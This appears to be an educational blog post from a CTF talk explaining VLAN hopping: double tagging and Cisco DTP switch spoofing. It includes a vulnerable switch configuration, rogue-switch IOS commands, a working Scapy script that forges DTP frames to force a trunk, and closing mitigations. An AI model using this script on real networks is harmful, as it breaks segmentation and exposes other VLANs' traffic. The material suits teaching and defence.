Introduction

During the yearly CTF organized by my university department, I gave a quick talk on VLAN Hopping techniques. This vulnerability is a well known layer 2 exploit that can be used to sniff the network traffic from other VLAN’s and access hosts that are on a different VLAN than the one the attacker is originally in.
The slides (in French) from the talk can be found on my GitHub by clicking here.

This post is made for educational purpose only, for legal reasons you are not allowed to reproduce any of these VLAN hopping techniques on a network except if you have received the explicit written permission of the owner. However you can still train by building a virtual network using GNS3 (or other).

VLANs - Quick Reminder

Disclaimer: these few paragraphs are not a course or a lesson about VLANs, I highly recommend following a real one before trying to exploit anything linked to VLANs, it’ll allow you to understand way better any concept linked to this technology.

VLANs - Introduction

First of all, for those of you reading this post that wouldn’t know about VLANs let’s take a quick look at what they are. If ever you do already master everything you need to know related to VLANs and how they work, you can directly jump to VLAN Hopping - Techniques.

So, what are VLANs ? By definition (Wikipedia):

“A virtual local area network (VLAN) is any broadcast domain that is partitioned and isolated in a computer network at the data link layer (OSI layer 2). In this context, virtual, refers to a physical object recreated and altered by additional logic, within the local area network. VLANs work by applying tags to network frames and handling these tags in networking systems – creating the appearance and functionality of network traffic that is physically on a single network but acts as if it is split between separate networks. In this way, VLANs can keep network applications separate despite being connected to the same physical network, and without requiring multiple sets of cabling and networking devices to be deployed.”

This definition is not really easy to get around with so let’s try and simplify things. Let’s imagine I’m a sysadmin, working for a small company and for security reasons I do not want HR’s to be able to be on the same network as the secretary team, nor the accountability team etc…

I can put them all on different LAN’s (192.168.1.0/24, 192.168.2.0/24 …) and then forward all of these networks to my company’s router. This solution is functional but it asks way too much switches and it complexifies the network infrastructure. Basically using this solution would make my network look like that:
network_without_vlan

This isn’t conceivable. VLAN’s allow us to segment a defined network into different LANs isolated from each other. Each VLAN will have an associated number (eg VLAN 100, VLAN 200 etc…). This layer 2 (Wikipedia) technology will permit us to have the security and the isolation aspect while reducing the number of switches and the physical complexity of the infrastructure. Using VLANs, the network I talked about just before would look like this:
network_with_vlans

To sum up VLANs have multiple advantages, they:

  • Reduce network infrastructure costs
  • Improve physical infrastructure topology
  • Reinforce the security aspect

VLANs - Modes

For now there is a problem with what we’ve said about VLANs, we can easily guess all the employees aren’t working in the same room so what happens if they are not. How can we make a VLAN go from a switch to an other ? We could have one link per VLAN between two switches but that would go against the concept of improving the network infrastructure, it would be a lot of cables for nothing and use up a lot of ports on our switches.

We can now introduce “modes” there are two modes for a port when we are using vlans, either the access mode or the trunk mode. An access port is a port that will only let one specific vlan pass, it’s the “default” mode when you plug-in a host to a switch (if VLANs are enabled). The second mode called trunk allows you to pass multiple VLANs on one link. This trunk mode is only meant to be used between two switches.

Let’s take our previous diagram, imagine that our employees our splitted into two different open spaces and adapt it with a trunk link:
network_with_vlan_and_trunk

Now that we know about the basics we can jump to the theory about how to exploit VLANs.

VLAN Hopping - Techniques

By default VLANs aren’t unsecure, the vulnerabilities linked to VLANs are due to misconfigurations. For this post i’ll introduce two different methods that could allow you to attack a network that has been hardened using VLANs.
meme_vlans_sysadmin

Method 1: Double Tagging

The first method I’m going to talk about is Double Tagging, as I said every VLAN has an assigned number. In order to transmit ethernet frames accross the network, switches mark those frames with what we call a “tag”. So each frame has a tag that contains the number of the VLAN.

We all know networking works on a layer basis with an encapsulation/decapsulation process. When a switch receives a packet from a host it adds a vlan tag but before sending it back to the destination host it’ll take off the tag. So what happens if we craft our own packet and tag it with the VLAN number we want ?

Well it will not work just like that, as I said VLANs are by default secure, we need some particular conditions. By default even if there aren’t any specific VLANs there still is one active VLAN, what we call the “native vlan” and it’s number is one. By default this VLAN is not tagged because it’s the default VLAN. So if a switch receives a frame tagged with the default VLAN it’ll take it off before sending it back to an other switch.

Can you spot the problem 😲 ? In a network configuration when we go through at least two switches and we are plugged to a port that is in the default VLAN we can craft a malicious packet with two consecutive tags. The first one will be the default VLAN (eg 1 or an other) and the second the VLAN we are trying to access.

The following diagram illustrates the vulnerability:
double_tagging_schema

This attack is really easy to set up but it has a big flaw, you can’t receive any traffic from an other VLAN, you can only send packets to an other host on an other VLAN.

Method 2: Switch Spoofing

The second method is way more interesting than the first one because it allows you to act just as if you were in the VLAN you are attacking, it’s not limited like the precedent method. Yet there is still an important factor that needs to be taken into account, it is specific to Cisco switches (widespread equipments so not a real problem).

First, let’s bash Cisco a bit !
gru_meme

Now we can introduce DTP, the Dynamic Trunking Protocol developed by Cisco for Cisco systems. This protocol aims to allow switches to negotiate automatically the establishment of a trunk link between switches. By default DTP is active, you need to deactive it if you want to freeze a port on access mode.

There are two DTP modes for a port, dynamic auto or dynamic desirable. In auto mode the switch is actively listening for a DTP frame in order to negotiate and set up a trunk link. In desirable mode the switch is actively sending DTP frames to tell a switch “hey hello, I’m waiting for a trunk to bet established”.

We can look at how a trunk link is established between two hosts when we plug a host to a switch that is willing to set up a trink with this diagram:
schema_dtp_trunk

Once our trunk is established, we can communicate to any VLAN of the network.

Simple Attack Scenario

Theory is cool but now let’s practice ! We can imagine a small scenario with a simple company network where we are in a VLAN and want to hop to an other one. Here it is (simplified):
schema_company

So, PC1 is in VLAN 100 with the IP address 192.168.100.1/24 and PC2’s IP address is 192.168.100.254/24 in VLAN 200. The configuration of the switch is the following (some useless parts have been snipped):

version 15.0
!
hostname switch_entreprise
!
interface GigabitEthernet0/1
 description **Machine VLAN 100**
 switchport access vlan 100
 switchport mode access
!
interface GigabitEthernet0/2
 description **Vlan 100 access, trunk dynamic desirable**
 switchport trunk encapsulation dot1q
 switchport trunk native vlan 100
 switchport mode dynamic desirable
!
! SAME FOR Gi0/3 - Gi0/6
!
interface GigabitEthernet0/7
 description **Vlan 100 access, trunk dynamic desirable**
 switchport trunk encapsulation dot1q
 switchport trunk native vlan 100
 switchport mode dynamic desirable
!
interface GigabitEthernet0/8
 description **Machine VLAN 200**
 switchport access vlan 200
 switchport mode access
!
interface GigabitEthernet0/9
 description **Shut**
 shutdown
!
interface GigabitEthernet0/10
 description **Shut**
 shutdown
!
interface Vlan1
 ip address 192.168.100.1 255.255.255.0
 shutdown
!
interface Vlan100
 ip address 192.168.100.1 255.255.255.0
!
interface Vlan200
 no ip address

We can see that the ports Gi0/2 to Gi0/7 are in VLAN 100 but DTP isn’t deactivated. This means that if we link a host that isn’t a Cisco switch then it’ll be in VLAN 100 on an access port. However, if ever we manage to connect a Cisco switch and establish a trunk link using DTP then we’ll be able to hop into any VLAN.

Proof Of Concept

Time to exploit ! Let’s say the ports Gi0/2 to Gi0/7 are all connected to different rooms of the company for employees to plug to in order to get access to Internet and work. The usage is legitimate so we will not encounter any problem.

Method 1

If ever I bring my own switch and plug it to the network, just like this:
schema_company_with_attacker_switch

First let’s grab our IP:
get_ip_attacker_host

Try and ping PC1 and the IP of VLAN 100’s interface:
ping_vlan100

And now ping PC2 (in VLAN200):
ping_pc2

Without any surprise, we can’t ping PC2 but let’s fix that ! On our attacker switch we can see that a trunk link has been established automatically:
trunk_state_switch_attacker

We just need to put our attacker host in VLAN 200 using this set of commands:

conf t 
int Gi0/8
switchport mode access 
switchport access vlan 200
exit
int Gi0/1
switchport trunk native vlan 100
end

And now ping PC2:
ping_pc2_success
It’s a success ! We’ve hopped from a VLAN to an other without modifying the actual network state.
spongebob

Method 2

Let’s say I’m really unlucky and have forgotten my super Cisco switch home. That’s not a problem, we just need to craft our DTP packet on our own. The network will look like this:
schema_company_with_attacker_switch

We can connect directly our attacker laptop. Take a glance at the trunk on the company switch:
trunk_state_company

There is no sign of a trunk link, but remember, our ports are on Dynamic Desirable mode this means the switch is actively looking to set up a trunk link and seding DTP frames. We can create this simple python script:

#Imports
from scapy.all import *
load_contrib('dtp') 

#Var
trunk_init = False
mac_addr = "00:1b:21:a5:ac:36"
interface = "eth0"

while not trunk_init:
    #Listen for DTP frames
    print("[~] Listening for DTP packet...")
    pkt = sniff(count=1, iface=interface, filter="ether dst 01:00:0c:cc:cc:cc") 
    print("[~] Found DTP packet")

    #Craft malicious packet
    pkt[0].src=mac_addr 
    pkt[0][DTP][DTPStatus].status='\x03' 

    #Trunk initialization 
    print("[!] Intiating trunk...")
    try:
        sendp(pkt[0], loop=0, verbose=1, iface=interface) 
        print("[!] Trunk initiated")
        trunk_init=True
    except:
        print("[!] Failed intiating trunk")

This script is sniffing on a specified interface for a DTP frame, once it has sniffed it we can replace the MAC source address by ours, change the status to \x03 that sets it to desirable. Then send back the packet, right after we can see the link goes down and up after half a second.

Here is the execution of our script:
result_script_trunk

We can now check the trunk status on the company switch:
trunk_state_company_2

And we can see the link between the switch and our laptop is now trunk and not an access one. This means we can sniff the traffic coming from others VLANs and even craft our own packets with a specified VLAN tag. In order to verify what I’ve just said let’s just wait for an ARP request from PC2:
arp_pc2

And that’s how we can confirm ou PoC (yes I’m too lazy to craft my own tagged packets) ! Just for the fun I opened a web server on my attacker host and requested it from PC2, here it is:
laptop_trunk

Mitigations

Okey, we’ve been able to exploit VLAN Hopping, but now, how can we avoid getting hopped on our own network and limit the use of VLAN Hopping ? These are a few mitigations that can be applied to switches (I’ll give the commands for Cisco switches but you can look for the equivalent for other systems).

Mitigate Double Tagging

Double tagging is quite hard to mitigate but you can still drastically limit it by:

  • Changing native VLAN
    • switchport trunk native vlan [vlan number]
  • Deactivating any protocol that could give information about native VLAN (eg CDP for Cisco)
    • no cdp run
  • Force tagging of native VLAN
    • vlan dot1q tag native

Mitigate Switch Spoofing

You can mitigate Switch Spoofing by:

  • Deactivating DTP on every port
    • switchport nonegotiate
  • Always put ports that are not absolutely needed for a trunk in access mode
    • switchport mode access
  • Using the same reccomandations than the ones for Double Tagging

Conclusion

In order to conclude this blogpost I would like first of all to thank you for reading until here, if ever you feel this article taught you anything, feel free to share it to friends and on any social network.

If ever you think there are some precisions/fixes that should be applied to this post hit me up on socials, Twitter here or on Discord \`#0001.

And as I only taunted Cisco two times during this post I would like to do it for a third time :) man_sweating_meme